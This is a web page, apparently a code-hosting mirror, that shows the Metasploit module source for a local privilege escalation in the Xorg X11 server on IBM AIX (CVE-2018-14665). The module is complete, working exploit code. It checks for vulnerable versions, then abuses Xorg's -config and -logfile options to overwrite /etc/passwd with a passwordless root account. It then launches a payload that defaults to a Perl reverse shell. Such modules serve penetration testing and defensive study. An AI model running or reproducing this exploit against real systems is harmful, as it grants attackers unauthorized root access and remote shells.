Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/aix/local/xorg_x11_server.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Post::File9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(update_info(info,13'Name' => 'Xorg X11 Server Local Privilege Escalation',14'Description' => %q(15WARNING: Successful execution of this module results in /etc/passwd being overwritten.1617This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.1819A permission check flaw exists for -modulepath and -logfile options when20starting Xorg. This allows unprivileged users that can start the server21the ability to elevate privileges and run arbitrary code under root22privileges.2324This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.25Due to permission restrictions of the crontab in AIX, this module does not use cron,26and instead overwrites /etc/passwd in order to create a new user with root privileges.27All currently logged in users need to be included when /etc/passwd is overwritten,28else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.29The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,30and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when31overwriting /etc/passwd.32),33'Author' =>34[35'Narendra Shinde', # Discovery and original FreeBSD exploit36'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit37],38'License' => MSF_LICENSE,39'DisclosureDate' => '2018-10-25',40'Notes' =>41{42'SideEffects' => [ CONFIG_CHANGES ]43},44'References' =>45[46['CVE', '2018-14665'],47['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],48['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],49['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],50['EDB', '45938']51],52'Platform' => ['unix'],53'Arch' => [ARCH_CMD],54'SessionTypes' => ['shell'],55'Payload' => {56'Compat' => {57'PayloadType' => 'cmd',58'RequiredCmd' => 'perl'59}60},61'DefaultOptions' => {62'Payload' => 'cmd/unix/reverse_perl'63},64'Targets' =>65[66['IBM AIX Version 6.1', {}],67['IBM AIX Version 7.1', {}],68['IBM AIX Version 7.2', {}]69],70'DefaultTarget' => 1))7172register_options(73[74OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])75]76)77end7879def check80xorg_path = cmd_exec('command -v Xorg')81if !xorg_path.include?('Xorg')82print_error('Could not find Xorg executable')83return Exploit::CheckCode::Safe84end8586ksh93_path = cmd_exec('command -v ksh93')87if !ksh93_path.include?('ksh')88print_error('Could not find Ksh93 executable')89return Exploit::CheckCode::Safe90end9192if !xorg_vulnerable?93print_error('Xorg version is not vulnerable')94return Exploit::CheckCode::Safe95end9697return Exploit::CheckCode::Appears98end99100def exploit101status = check102103if status == Exploit::CheckCode::Safe104fail_with(Failure::NotVulnerable, '')105end106107if !writable?(datastore['WritableDir'])108fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")109end110111xorg_path = cmd_exec('command -v Xorg')112ksh93_path = cmd_exec('command -v ksh93')113114xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])115xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"116upload_and_chmodx(xorg_script_path, xorg_payload)117118passwd_backup = "#{datastore['WritableDir']}/passwd.backup"119print_status("Backing up /etc/passwd to #{passwd_backup}")120cmd_exec("cp /etc/passwd #{passwd_backup}")121register_file_for_cleanup(passwd_backup)122123print_status("Executing #{xorg_script_path}")124cmd_exec(xorg_script_path)125print_status('Checking if we are root')126127if root?128shell_payload = %(#!#{ksh93_path}129#{payload.encoded}130)131shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"132upload_and_chmodx(shell_script_path, shell_payload)133134print_status('Executing shell payload')135cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")136137print_status('Restoring original /etc/passwd')138cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")139else140fail_with(Failure::PayloadFailed, '')141end142end143144def generate_xorg_payload(xorg_path, ksh93_path, writabledir)145passwd_file = read_file('/etc/passwd')146passwd_array = passwd_file.split("\n")147148print_status('Retrieving currently logged in users')149users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')150users << "\n"151users_array = users.split("\n")152153logged_in_users = ''154if !users_array.empty?155users_array.each do |user|156user << ':'157passwd_array.each do |line|158if line.index(user) == 0159logged_in_users << '\n'160logged_in_users << line161end162end163end164end165166passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"167168subdir_count = writabledir.count('/')169relative_passwd = '../' * subdir_count + '../../etc/passwd'170171return %(#!#{ksh93_path}172#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1173)174end175176def xorg_vulnerable?177version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')178print_status("Xorg version is #{version}")179semantic_version = Rex::Version.new(version)180181vulnerable_versions = [182['6.1.9.0', '6.1.9.100'],183['7.1.4.0', '7.1.4.30'],184['7.1.5.0', '7.1.5.31'],185['7.2.0.0', '7.2.0.1'],186['7.2.1.0', '7.2.1.0'],187['7.2.2.0', '7.2.2.0'],188['7.2.3.0', '7.2.3.15']189]190191vulnerable_versions.each do |version_pair|192if semantic_version >= Rex::Version.new(version_pair[0]) &&193semantic_version <= Rex::Version.new(version_pair[1])194return true195end196end197198return false199end200201def root?202id_output = cmd_exec('su - wow -c "id"')203204if id_output.include?('euid=0') || id_output.include?('uid=0')205print_good('Got root!')206return true207end208209print_error('Not root')210false211end212213def upload_and_chmodx(path, data)214print_status("Writing to #{path}")215rm_f(path)216write_file(path, data)217cmd_exec("chmod 0555 '#{path}'")218219register_file_for_cleanup(path)220end221end222223224